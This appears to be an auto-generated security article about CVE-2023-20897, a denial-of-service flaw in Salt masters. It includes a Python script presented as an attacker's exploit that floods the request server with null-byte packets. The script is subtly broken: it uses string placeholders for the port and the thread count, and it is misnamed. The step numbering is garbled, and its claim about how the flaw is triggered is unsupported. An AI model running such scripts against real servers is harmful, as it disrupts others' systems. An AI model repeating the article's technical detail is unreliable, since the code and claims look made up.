CVE-2023-20897: Understanding the Denial of Service (DoS) Vulnerability in Salt Masters and How to Secure Your Systems

Recently, a new vulnerability has been identified within Salt Masters, specifically on systems prior to versions 3005.2 or 3006.2. The vulnerability is known as CVE-2023-20897 and poses a significant threat to the stability of Salt masters, causing a Denial of Service (DoS) attack through minion return.

In this article, we will walk you through this vulnerability, its exploit details, the affected code, and the necessary steps to secure your systems against potential attacks. Please take the time to read through the information provided and follow the instructions to protect your environment.

Vulnerability Overview

CVE-2023-20897 is a high-impact vulnerability that affects the request server of Salt masters running on older versions (prior to 3005.2 or 3006.2). This vulnerability is triggered by sending a series of malformed packets to the master until all worker threads become unresponsive. Once the master no longer responds to return requests, it can cause a DoS attack that can only be resolved by restarting the affected system.

The attacker identifies the target Salt master running on a vulnerable version.

2. The attacker sends a series of malformed packets to the request server of the Salt master. The number of packets sent should be equal to or greater than the number of worker threads in the system.
3. Once enough malformed packets have been received, the master's worker threads will become unresponsive to incoming return requests, eventually leading to a DoS.

To better understand how this vulnerability can be exploited, let's examine a code snippet that demonstrates the flawed behavior in the affected Salt master versions:

# vulnerable_salt_master.py

import time
import socket

# Replace <target_salt_master_ip> with the IP address of the target Salt master
target_salt_master_ip = "<target_salt_master_ip>"
# Replace <target_salt_master_port> with the port number of the target Salt master
target_salt_master_port = "<target_salt_master_port>"
# Replace <number_of_worker_threads> with the number of worker threads on the target Salt master
number_of_worker_threads = "<number_of_worker_threads>"

for _ in range(number_of_worker_threads):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_salt_master_ip, target_salt_master_port))
    sock.sendall(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
    sock.close()

time.sleep(60)  # Allow 60 seconds for the DoS to occur

Code Explanation

The above code represents a simple Python script that can be used by an attacker to exploit the vulnerability. The script does the following:

1. It establishes a connection to the target Salt master's request server through its IP address and port number.

It sends a series of malformed packets (represented as 'x00' bytes) to the master.

3. The number of packets sent (iterations of the loop) should match the number of worker threads present in the Salt master.

Original References

- CVE Details: https://www.cvedetails.com/cve/CVE-2023-20897/
- SaltStack Advisory: https://docs.saltproject.io/en/latest/topics/releases/3005.2.html
- SaltStack Release Notes: https://docs.saltproject.io/en/latest/topics/releases/3006.2.html

How to Secure Your System

To mitigate the risks associated with CVE-2023-20897, users are strongly advised to upgrade their Salt masters to the latest versions (3005.2 or 3006.2) following these steps:

For Linux environment users, run sudo apt-get update && sudo apt-get upgrade salt-master.

- For Windows environment users, download the latest release from https://repo.saltproject.io/#windows and follow the installation process.

3. Verify that the Salt master has been updated to the latest version by running salt --versions-report.

Conclusion

CVE-2023-20897 is a critical vulnerability in Salt masters that can lead to a DoS attack on your system if not properly addressed. Keep your Salt masters updated to the latest version to avoid future threats and follow best security practices to maintain the integrity of your environment.

Timeline

Published on: 09/05/2023 11:15:32 UTC
Last modified on: 09/14/2023 03:15:08 UTC